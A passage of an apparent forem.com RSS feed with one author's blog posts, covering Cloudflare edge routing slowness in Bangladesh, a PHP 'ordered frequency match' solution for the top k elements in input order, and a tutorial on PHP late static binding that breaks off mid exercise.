&lt;strong&gt;Congested PoP:&lt;/strong&gt; Cloudflare’s Dhaka servers get overloaded at peak hours.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ISP Throttling:&lt;/strong&gt; Some ISPs traffic-shape Cloudflare ranges, causing slowdowns.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anycast Oddities:&lt;/strong&gt; Routing may detour to faraway PoPs (e.g., Chennai, Singapore).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TLS Edge Delay:&lt;/strong&gt; If BD edge is slow, SSL handshake latency skyrockets.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  ✅ Key Takeaway
&lt;/h2&gt;

&lt;p&gt;If your site is &lt;strong&gt;slow locally but fine on VPN&lt;/strong&gt;, don’t waste days debugging like me:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Disable Cloudflare proxy (orange → gray cloud)
&lt;/li&gt;
&lt;li&gt;Test in DNS-only mode
&lt;/li&gt;
&lt;li&gt;If fixed → the issue isn’t your code, server, or client. It’s &lt;strong&gt;Cloudflare edge routing&lt;/strong&gt;.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I wish I had known this earlier.&lt;br&gt;&lt;br&gt;
Sometimes, the problem isn’t with us developers or the servers we build—it’s the &lt;strong&gt;global infrastructure we rely on&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>network</category>
      <category>proxy</category>
      <category>bangladesh</category>
      <category>isp</category>
    </item>
    <item>
      <title>DSA Pattern: Ordered Frequency Match</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Sat, 28 Jun 2025 06:53:37 +0000</pubDate>
      <link>https://forem.com/dev-alamin/dsa-pattern-how-i-beat-100-with-a-simple-ordered-frequency-match-trick-2fg5</link>
      <guid>https://forem.com/dev-alamin/dsa-pattern-how-i-beat-100-with-a-simple-ordered-frequency-match-trick-2fg5</guid>
      <description>&lt;h3&gt;
  
  
  🚀 PHP Pattern: How I Beat 100% with a Simple "Ordered Frequency Match" Trick
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: I solved a problem that required picking the top &lt;code&gt;k&lt;/code&gt; largest elements while maintaining their original input order — no sorting, no heap, just native PHP and smart looping. It’s a neat trick I now use in real-world projects too!&lt;/p&gt;




&lt;h3&gt;
  
  
  🎯 The Problem
&lt;/h3&gt;

&lt;p&gt;Given an array of numbers, return the top &lt;code&gt;k&lt;/code&gt; largest elements, but &lt;strong&gt;preserve their original input order&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$nums&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expected Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why? Because those are the &lt;strong&gt;top 3 largest&lt;/strong&gt;, and they appear in that order in the original list.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔄 Naive Solutions
&lt;/h3&gt;

&lt;p&gt;Most solutions either:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sort the array and lose original order&lt;/li&gt;
&lt;li&gt;Use complex heap structures (like &lt;code&gt;SplPriorityQueue&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Or re-sort by index after slicing top values&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All of them work. But I wanted better — faster and cleaner.&lt;/p&gt;

&lt;h3&gt;
  
  
  💡 The Insight
&lt;/h3&gt;

&lt;p&gt;We can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Copy the original array&lt;/li&gt;
&lt;li&gt;Sort to get the top &lt;code&gt;k&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Count those values&lt;/li&gt;
&lt;li&gt;Walk the original array again and &lt;strong&gt;"stock out"&lt;/strong&gt; each value as needed&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  ✅ The Final Code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;maxSubsequence&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$nums&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$k&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nb"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$nums&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$nums&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nv"&gt;$copy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$nums&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;rsort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$copy&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nv"&gt;$freq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;array_count_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;array_splice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$copy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$k&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

    &lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
    &lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$nums&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$num&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$freq&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$num&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$num&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="nv"&gt;$freq&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$num&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🧠 Pattern Name: Ordered Frequency Match
&lt;/h3&gt;

&lt;p&gt;Think of this like a &lt;strong&gt;controlled inventory&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You have a "stock" of top elements&lt;/li&gt;
&lt;li&gt;You want to consume them, &lt;strong&gt;but in original order&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;So you match frequency and reduce it as you go&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ✨ Summary: Where to Apply This Pattern
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pattern Need&lt;/th&gt;
&lt;th&gt;Apply This?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Top K elements + original order&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Frequency controlled loop&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;"Use only if available"&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Limited quota-based logic&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stack/history simulation with limit&lt;/td&gt;
&lt;td&gt;⚠️ Maybe&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  🛠 Real-World Uses
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Show top-selling items in catalog order&lt;/li&gt;
&lt;li&gt;Enforce cart limits (e.g. 2 max discounted items)&lt;/li&gt;
&lt;li&gt;Apply user quotas in original login order&lt;/li&gt;
&lt;li&gt;Filter search history against top terms&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ✅ Why This Rocks
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;No fancy data structures&lt;/li&gt;
&lt;li&gt;Native PHP — fast and readable&lt;/li&gt;
&lt;li&gt;Preserves original order&lt;/li&gt;
&lt;li&gt;Beats 100% in LeetCode (true story!)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🙌 Final Thoughts
&lt;/h3&gt;

&lt;p&gt;Don’t underestimate simple patterns.&lt;br&gt;
This one is a mix of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;array_count_values()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Controlled iteration&lt;/li&gt;
&lt;li&gt;Smart early breaks (&lt;code&gt;count($res) === $k&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And it works like a charm!&lt;/p&gt;




&lt;p&gt;💬 Drop a comment if you’ve used similar tricks in your projects!&lt;br&gt;
Or if you want me to show this in Laravel, JavaScript, or React state-based filtering.&lt;/p&gt;

</description>
      <category>dsa</category>
      <category>php</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>Exploring Late Static Binding in PHP</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Thu, 19 Jun 2025 07:51:25 +0000</pubDate>
      <link>https://forem.com/dev-alamin/exploring-late-static-binding-in-php-2d2b</link>
      <guid>https://forem.com/dev-alamin/exploring-late-static-binding-in-php-2d2b</guid>
      <description>&lt;h2&gt;
  
  
  🧠 PHP Late Static Binding Explained: self:: vs static:: vs new static() for Real-World Use
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Hey fellow devs,&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Ever found yourself confused by the difference between &lt;code&gt;self::&lt;/code&gt;, &lt;code&gt;static::&lt;/code&gt;, &lt;code&gt;new self()&lt;/code&gt; and &lt;code&gt;new static()&lt;/code&gt; in PHP?&lt;/p&gt;

&lt;p&gt;I did too. Until I slowed down, played with examples, and finally understood the beauty of something called &lt;strong&gt;Late Static Binding (LSB)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Let’s break it down like we’re talking over a project debug session.&lt;/p&gt;




&lt;h2&gt;
  
  
  🤔 What’s the Problem?
&lt;/h2&gt;

&lt;p&gt;You have a parent class that defines a static method. You extend it with a child class and call the method &lt;strong&gt;from the child&lt;/strong&gt;. But surprisingly, the method behaves like it’s still running in the parent.&lt;/p&gt;

&lt;p&gt;Like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ParentClass&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;whoAmI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"I am "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildClass&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;ParentClass&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

&lt;span class="nc"&gt;ChildClass&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;whoAmI&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// ❌ Output: I am ParentClass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why did it say &lt;code&gt;ParentClass&lt;/code&gt;? You called it from &lt;code&gt;ChildClass&lt;/code&gt;, right?&lt;/p&gt;

&lt;p&gt;Because &lt;code&gt;self::&lt;/code&gt; refers to the class &lt;strong&gt;where the method is defined&lt;/strong&gt;, not who called it.&lt;/p&gt;

&lt;p&gt;And that's the limitation &lt;strong&gt;Late Static Binding&lt;/strong&gt; solves.&lt;/p&gt;




&lt;h2&gt;
  
  
  🛠 Enter: &lt;code&gt;static::&lt;/code&gt; — the Fix
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ParentClass&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;whoAmI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"I am "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildClass&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;ParentClass&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

&lt;span class="nc"&gt;ChildClass&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;whoAmI&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// ✅ Output: I am ChildClass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it! With &lt;code&gt;static::&lt;/code&gt;, PHP waits until &lt;strong&gt;runtime&lt;/strong&gt; to figure out which class is calling. Hence the term &lt;strong&gt;late binding&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧪 &lt;code&gt;self::class&lt;/code&gt; vs &lt;code&gt;static::class&lt;/code&gt;
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Keyword&lt;/th&gt;
&lt;th&gt;What it returns&lt;/th&gt;
&lt;th&gt;When it's resolved&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;self::class&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The class where it's &lt;strong&gt;written&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;At compile time&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;static::class&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The class that &lt;strong&gt;called&lt;/strong&gt; it&lt;/td&gt;
&lt;td&gt;At runtime ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is especially powerful in patterns like &lt;strong&gt;factories&lt;/strong&gt; or &lt;strong&gt;service locators&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  🎭 Object Creation: &lt;code&gt;new self()&lt;/code&gt; vs &lt;code&gt;new static()&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Let’s create objects and see the difference:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Animal&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;static&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 👈 creates the calling class&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Dog&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Animal&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Cat&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Animal&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

&lt;span class="nv"&gt;$dog&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Dog&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 
&lt;span class="nv"&gt;$cat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Cat&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;get_class&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dog&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Dog ✅&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;get_class&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$cat&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Cat ✅&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;new static()&lt;/code&gt; → respects the child class&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;new self()&lt;/code&gt; → would have returned &lt;code&gt;Animal&lt;/code&gt; in both cases ❌&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So again...&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Expression&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;new self()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create object of &lt;strong&gt;defined&lt;/strong&gt; class&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;new static()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Create object of &lt;strong&gt;calling&lt;/strong&gt; class ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  🔌 Real Use Case (Like in a Plugin)
&lt;/h2&gt;

&lt;p&gt;Imagine you're building a WordPress plugin with multiple shortcode handlers. You could create a &lt;code&gt;BaseShortcode&lt;/code&gt; like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BaseShortcode&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;init&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Booting: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;static&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 🎯&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GalleryShortcode&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;BaseShortcode&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;FormShortcode&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;BaseShortcode&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;

&lt;span class="nv"&gt;$g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;GalleryShortcode&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// GalleryShortcode&lt;/span&gt;
&lt;span class="nv"&gt;$f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FormShortcode&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;    &lt;span class="c1"&gt;// FormShortcode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you had used &lt;code&gt;new self()&lt;/code&gt; and &lt;code&gt;self::class&lt;/code&gt;, both would have printed &lt;code&gt;BaseShortcode&lt;/code&gt;. Not what you want when building reusable code, right?&lt;/p&gt;




&lt;h2&gt;
  
  
  🧠 Think of It Like This
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;self::&lt;/code&gt; / &lt;code&gt;new self()&lt;/code&gt;&lt;/strong&gt; → fixed, bound to the class that wrote the method&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;static::&lt;/code&gt; / &lt;code&gt;new static()&lt;/code&gt;&lt;/strong&gt; → flexible, bound to the class that called the method&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Late static binding gives your OOP code &lt;strong&gt;dynamic power&lt;/strong&gt; while keeping it &lt;strong&gt;clean&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧪 Practice Time
&lt;/h2&gt;

&lt;p&gt;Can you make this code output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Creating UserController
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 Try replacing what’s needed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BaseController&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Creating "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="o"&gt;???&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;???&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

